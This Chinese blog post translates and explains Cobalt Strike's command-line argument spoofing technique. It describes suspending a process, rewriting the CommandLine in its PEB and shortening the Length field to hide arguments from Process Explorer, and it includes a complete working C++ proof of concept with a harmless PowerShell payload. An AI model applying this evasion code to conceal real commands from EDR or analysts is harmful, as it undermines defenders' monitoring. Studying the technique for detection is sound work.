Learning Man's Blog

CobaltStrike Argue 原理 - 翻译文

字数统计: 1.3k阅读时长: 6 min
2020/08/04

看 youtube 视频介绍,此攻击原本是为了对抗 EDR 检测或延迟 AV 查杀的手段

原理很简单,通过设置CREATE_SUSPENDED挂起进程启动,再通过PEB修改ProcessParameters中实际将要执行的命令字符串,最后ResumeThread恢复进程 → 暗度陈仓

在实现时,延伸出来两个小问题(技巧)

  1. 如何获取 PEB 并更新
  2. 绕过 PEB 副本检测

CreateProcess

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

CreateProcessA函数中我们关注到lpCommandLine和dwCreationFlags

  • lpCommandLine:要执行的命令行 -> 明面上要执行的命令行
  • dwCreationFlags:流程创建标志

流程创建标志中多个标记使用|(或)运算叠加,有以下几个常数值需要关注

常数/值 描述
CREATE_NEW_CONSOLE
0x00000010
新进程具有一个新的控制台,而不是继承其父级的控制台(默认)。有关更多信息,请参见创建控制台。
该标志不能与DETACHED_PROCESS一起使用。
CREATE_NO_WINDOW
0x08000000
该过程是一个没有控制台窗口即可运行的控制台应用程序。因此,未设置应用程序的控制台句柄。
如果该应用程序不是控制台应用程序,或者与CREATE_NEW_CONSOLEDETACHED_PROCESS一起使用,则将忽略此标志。
CREATE_SUSPENDED
0x00000004
新进程的主线程在挂起状态下创建,并且直到调用ResumeThread函数才运行。

以下试图创建一个进程并挂起,我们接下来将修改此进程

STARTUPINFOA si;
PROCESS_INFORMATION pi;

CreateProcessA(
    NULL,
    "cmd.exe",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
    NULL,
    "C:\\Windows\\System32\\",
    &si,
    &pi);

PEB

首先看在 PEB 结构,我们主要关注 ProcessParameters

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

PRTL_USER_PROCESS_PARAMETERS 结构体

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

UNICODE_STRING 类型结构体

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

在上面通过创建并挂起进程后,接下来我们将通过NtQueryInformationProcess来获取 PEB 地址,这个函数未公开所以需要GetProcAddress从 DLL 中检索出函数地址

typedef NTSTATUS (*NtQueryInformationProcess)(
  IN HANDLE,
  IN PROCESSINFOCLASS,
  OUT PVOID,
  IN ULONG,
  OUT PULONG
);

NtQueryInformationProcess ntip = (NtQueryInformationProcess)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;

ntpi(
    pi.hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &retLen
);

通过 PEB 标记的地址,使用ReadProcessMemory读取目标进程的 PEB 信息

PEB pebLocal;
BOOL success;

success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);

进一步获取ProcessParameters结构体信息

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

RTL_USER_PROCESS_PARAMETERS* parameters;

parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
    pi.hProcess, 
    pebLocal.ProcessParameters, 
    sizeof(RTL_USER_PROCESS_PARAMETERS)
);

接下来便是修改ProcessParameters中的CommandLine,其对应类型为UNICODE_STRING

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

success = writeProcessMemory(
    pi.hProcess, 
    parameters->CommandLine.Buffer, 
    (void*)L"cmd.exe /k dir\0", 
    30);

绕过PEB副本检测

作者提到类似ProcessExplorer工具会检索PEB副本,导致隐藏参数失败,注意到_RTL_USER_PROCESS_PARAMETERS中的CommandLine参数为_UNICODE_STRING类型

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

当设置Length < sizeof(Buffer)时,对于ProcessHacker和ProcessExplorer,都会终止显示Length字节后面的字符串,但同时并不影响进程的运行

ProcessExplorer ProcessMonitor
长度限制 命令隐藏
-w501 -w638

Poc

#include <iostream>
#include <windows.h>
#include <winternl.h>

#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"

typedef NTSTATUS(*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
    );

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

int main(int argc, char** canttrustthis)
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    BOOL success;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    RTL_USER_PROCESS_PARAMETERS* parameters;

    printf("Argument Spoofing Example by @_xpn_\n\n");

    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));

    // Start process suspended
    success = CreateProcessA(
        NULL,
        (LPSTR)CMD_TO_SHOW,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
        NULL,
        "C:\\Windows\\System32\\",
        &si,
        &pi);

    if (success == FALSE) {
        printf("[!] Error: Could not call CreateProcess\n");
        return 1;
    }

    // Retrieve information on PEB location in process
    NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(
        pi.hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &retLen
    );

    // Read the PEB from the target process
    success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
    if (success == FALSE) {
        printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
        return 1;
    }

    // Grab the ProcessParameters from PEB
    parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
        pi.hProcess,
        pebLocal.ProcessParameters,
        sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
    );

    // Set the actual arguments we are looking to use
    WCHAR spoofed[] = CMD_TO_EXEC;
    success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
        return 1;
    }

    /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

    // Update the CommandLine length (Remember, UNICODE length here)
    DWORD newUnicodeLen = 28;

    success = writeProcessMemory(
        pi.hProcess,
        (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
        (void*)&newUnicodeLen,
        4
    );
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
        return 1;
    }

    // Resume thread execution*/
    ResumeThread(pi.hThread);
}

思考

同这篇文章一起的还有父进程ID欺骗,这两个手段结合一起生成一个易用 exe 应该是很有效的红队手段,比如随机生成伪装命令、自动伪装,这样在来不及清理历史记录的情况下也能延缓蓝队的步伐…

但是奈何不会 c++,先留个坑

参考资料

  1. How to Argue like Cobalt Strike
  2. The return of the spoof part 2: Command line spoofing
  3. Red Teaming in the EDR age
  4. 基于直接内核对象操作的进程伪装保护方法
CATALOG
  1. 1. CreateProcess
  2. 2. PEB
  3. 3. 绕过PEB副本检测
  4. 4. Poc
  5. 5. 思考
  6. 6. 参考资料